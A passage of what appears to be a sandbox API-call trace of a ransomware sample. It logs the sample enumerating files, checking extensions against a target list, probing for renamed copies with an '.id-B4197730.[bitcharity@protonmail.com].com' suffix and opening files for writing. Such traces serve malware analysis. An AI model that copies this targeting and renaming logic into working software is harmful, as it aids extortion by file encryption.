lpString2=".xml") returned -1 [0286.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0286.693] lstrlenW (lpString=".jpg") returned 4 [0286.693] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0286.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0286.693] lstrlenW (lpString=".doc") returned 4 [0286.693] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.693] lstrlenW (lpString=".docx") returned 5 [0286.693] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1 [0286.693] lstrlenW (lpString=".pdf") returned 4 [0286.693] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.693] lstrlenW (lpString=".xls") returned 4 [0286.693] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.693] lstrlenW (lpString=".xlsx") returned 5 [0286.693] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1 [0286.694] lstrlenW (lpString=".ppt") returned 4 [0286.694] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0286.694] lstrlenW (lpString=".zip") returned 4 [0286.694] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.694] lstrlenW (lpString=".rar") returned 4 [0286.694] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.694] lstrlenW (lpString=".bz2") returned 4 [0286.694] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.694] lstrlenW (lpString=".7z") returned 3 [0286.694] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0286.694] lstrlenW (lpString=".dbf") returned 4 [0286.694] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0286.694] lstrlenW (lpString=".1cd") returned 4 [0286.694] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0286.694] lstrlenW (lpString=".jpg") returned 4 [0286.694] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.694] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.694] lstrlenW (lpString="ipsptb.xml") returned 10 [0286.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.695] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2246) returned 1 [0286.695] CloseHandle (hObject=0x109c) returned 1 [0286.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0286.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0286.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0286.695] lstrlenW (lpString=".doc") returned 4 [0286.695] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.695] lstrlenW (lpString=".docx") returned 5 [0286.695] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0286.695] lstrlenW (lpString=".pdf") returned 4 [0286.695] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.695] lstrlenW (lpString=".xls") returned 4 [0286.696] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.696] lstrlenW (lpString=".xlsx") returned 5 [0286.696] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0286.696] lstrlenW (lpString=".ppt") returned 4 [0286.696] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0286.696] lstrlenW (lpString=".zip") returned 4 [0286.696] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.696] lstrlenW (lpString=".rar") returned 4 [0286.696] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.696] lstrlenW (lpString=".bz2") returned 4 [0286.696] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.696] lstrlenW (lpString=".7z") returned 3 [0286.696] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0286.696] lstrlenW (lpString=".dbf") returned 4 [0286.696] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0286.696] lstrlenW (lpString=".1cd") returned 4 [0286.696] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0286.696] lstrlenW (lpString=".jpg") returned 4 [0286.696] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0286.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0286.696] lstrlenW (lpString=".doc") returned 4 [0286.696] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.696] lstrlenW (lpString=".docx") returned 5 [0286.696] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0286.696] lstrlenW (lpString=".pdf") returned 4 [0286.697] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.697] lstrlenW (lpString=".xls") returned 4 [0286.697] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.697] lstrlenW (lpString=".xlsx") returned 5 [0286.697] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0286.697] lstrlenW (lpString=".ppt") returned 4 [0286.697] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0286.697] lstrlenW (lpString=".zip") returned 4 [0286.697] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.697] lstrlenW (lpString=".rar") returned 4 [0286.697] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.697] lstrlenW (lpString=".bz2") returned 4 [0286.697] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.697] lstrlenW (lpString=".7z") returned 3 [0286.697] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0286.697] lstrlenW (lpString=".dbf") returned 4 [0286.697] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0286.697] lstrlenW (lpString=".1cd") returned 4 [0286.697] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0286.697] lstrlenW (lpString=".jpg") returned 4 [0286.697] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.697] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.697] lstrlenW (lpString="ipsptg.xml") returned 10 [0286.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.698] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2240) returned 1 [0286.698] CloseHandle (hObject=0x109c) returned 1 [0286.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0286.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0286.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0286.698] lstrlenW (lpString=".doc") returned 4 [0286.698] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.698] lstrlenW (lpString=".docx") returned 5 [0286.698] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0286.698] lstrlenW (lpString=".pdf") returned 4 [0286.698] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.698] lstrlenW (lpString=".xls") returned 4 [0286.698] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.698] lstrlenW (lpString=".xlsx") returned 5 [0286.698] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0286.698] lstrlenW (lpString=".ppt") returned 4 [0286.698] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0286.698] lstrlenW (lpString=".zip") returned 4 [0286.698] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.698] lstrlenW (lpString=".rar") returned 4 [0286.698] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.698] lstrlenW (lpString=".bz2") returned 4 [0286.699] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.699] lstrlenW (lpString=".7z") returned 3 [0286.699] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0286.699] lstrlenW (lpString=".dbf") returned 4 [0286.699] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0286.699] lstrlenW (lpString=".1cd") returned 4 [0286.699] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0286.699] lstrlenW (lpString=".jpg") returned 4 [0286.699] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0286.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0286.699] lstrlenW (lpString=".doc") returned 4 [0286.699] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.699] lstrlenW (lpString=".docx") returned 5 [0286.699] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0286.699] lstrlenW (lpString=".pdf") returned 4 [0286.699] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.699] lstrlenW (lpString=".xls") returned 4 [0286.699] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.699] lstrlenW (lpString=".xlsx") returned 5 [0286.699] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0286.699] lstrlenW (lpString=".ppt") returned 4 [0286.699] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0286.699] lstrlenW (lpString=".zip") returned 4 [0286.699] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.699] lstrlenW (lpString=".rar") returned 4 [0286.699] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.699] lstrlenW (lpString=".bz2") returned 4 [0286.699] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.699] lstrlenW (lpString=".7z") returned 3 [0286.699] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0286.699] lstrlenW (lpString=".dbf") returned 4 [0286.700] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0286.700] lstrlenW (lpString=".1cd") returned 4 [0286.700] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0286.700] lstrlenW (lpString=".jpg") returned 4 [0286.700] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.700] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.700] lstrlenW (lpString="ipsrom.xml") returned 10 [0286.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.700] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2644) returned 1 [0286.700] CloseHandle (hObject=0x109c) returned 1 [0286.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0286.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0286.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0286.701] lstrlenW (lpString=".doc") returned 4 [0286.701] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.701] lstrlenW (lpString=".docx") returned 5 [0286.701] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0286.701] lstrlenW (lpString=".pdf") returned 4 [0286.701] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.701] lstrlenW (lpString=".xls") returned 4 [0286.701] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.701] lstrlenW (lpString=".xlsx") returned 5 [0286.701] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0286.701] lstrlenW (lpString=".ppt") returned 4 [0286.701] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0286.701] lstrlenW (lpString=".zip") returned 4 [0286.701] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.701] lstrlenW (lpString=".rar") returned 4 [0286.701] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.701] lstrlenW (lpString=".bz2") returned 4 [0286.701] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.701] lstrlenW (lpString=".7z") returned 3 [0286.701] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0286.701] lstrlenW (lpString=".dbf") returned 4 [0286.701] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0286.701] lstrlenW (lpString=".1cd") returned 4 [0286.701] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0286.701] lstrlenW (lpString=".jpg") returned 4 [0286.701] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0286.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0286.701] lstrlenW (lpString=".doc") returned 4 [0286.701] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.702] lstrlenW (lpString=".docx") returned 5 [0286.702] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0286.702] lstrlenW (lpString=".pdf") returned 4 [0286.702] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.702] lstrlenW (lpString=".xls") returned 4 [0286.702] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.702] lstrlenW (lpString=".xlsx") returned 5 [0286.702] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0286.702] lstrlenW (lpString=".ppt") returned 4 [0286.702] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0286.702] lstrlenW (lpString=".zip") returned 4 [0286.702] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.702] lstrlenW (lpString=".rar") returned 4 [0286.702] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.702] lstrlenW (lpString=".bz2") returned 4 [0286.702] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.702] lstrlenW (lpString=".7z") returned 3 [0286.702] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0286.702] lstrlenW (lpString=".dbf") returned 4 [0286.702] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0286.702] lstrlenW (lpString=".1cd") returned 4 [0286.702] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 61 [0286.702] lstrlenW (lpString=".jpg") returned 4 [0286.702] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.702] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.702] lstrlenW (lpString="ipsrus.xml") returned 10 [0286.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.703] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2542) returned 1 [0286.703] CloseHandle (hObject=0x109c) returned 1 [0286.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0286.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0286.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0286.703] lstrlenW (lpString=".doc") returned 4 [0286.703] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.703] lstrlenW (lpString=".docx") returned 5 [0286.703] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0286.703] lstrlenW (lpString=".pdf") returned 4 [0286.703] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.703] lstrlenW (lpString=".xls") returned 4 [0286.703] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.703] lstrlenW (lpString=".xlsx") returned 5 [0286.703] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0286.703] lstrlenW (lpString=".ppt") returned 4 [0286.703] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0286.703] lstrlenW (lpString=".zip") returned 4 [0286.703] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.704] lstrlenW (lpString=".rar") returned 4 [0286.704] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.704] lstrlenW (lpString=".bz2") returned 4 [0286.704] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.704] lstrlenW (lpString=".7z") returned 3 [0286.704] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0286.704] lstrlenW (lpString=".dbf") returned 4 [0286.704] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0286.704] lstrlenW (lpString=".1cd") returned 4 [0286.704] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0286.704] lstrlenW (lpString=".jpg") returned 4 [0286.704] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0286.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0286.704] lstrlenW (lpString=".doc") returned 4 [0286.704] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.704] lstrlenW (lpString=".docx") returned 5 [0286.704] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0286.704] lstrlenW (lpString=".pdf") returned 4 [0286.704] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.704] lstrlenW (lpString=".xls") returned 4 [0286.704] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.704] lstrlenW (lpString=".xlsx") returned 5 [0286.704] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0286.704] lstrlenW (lpString=".ppt") returned 4 [0286.704] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0286.704] lstrlenW (lpString=".zip") returned 4 [0286.704] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.704] lstrlenW (lpString=".rar") returned 4 [0286.704] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.705] lstrlenW (lpString=".bz2") returned 4 [0286.705] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.705] lstrlenW (lpString=".7z") returned 3 [0286.705] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0286.705] lstrlenW (lpString=".dbf") returned 4 [0286.705] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0286.705] lstrlenW (lpString=".1cd") returned 4 [0286.705] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0286.705] lstrlenW (lpString=".jpg") returned 4 [0286.705] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.705] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.705] lstrlenW (lpString="ipssrb.xml") returned 10 [0286.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.705] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2568) returned 1 [0286.705] CloseHandle (hObject=0x109c) returned 1 [0286.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0286.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.706] 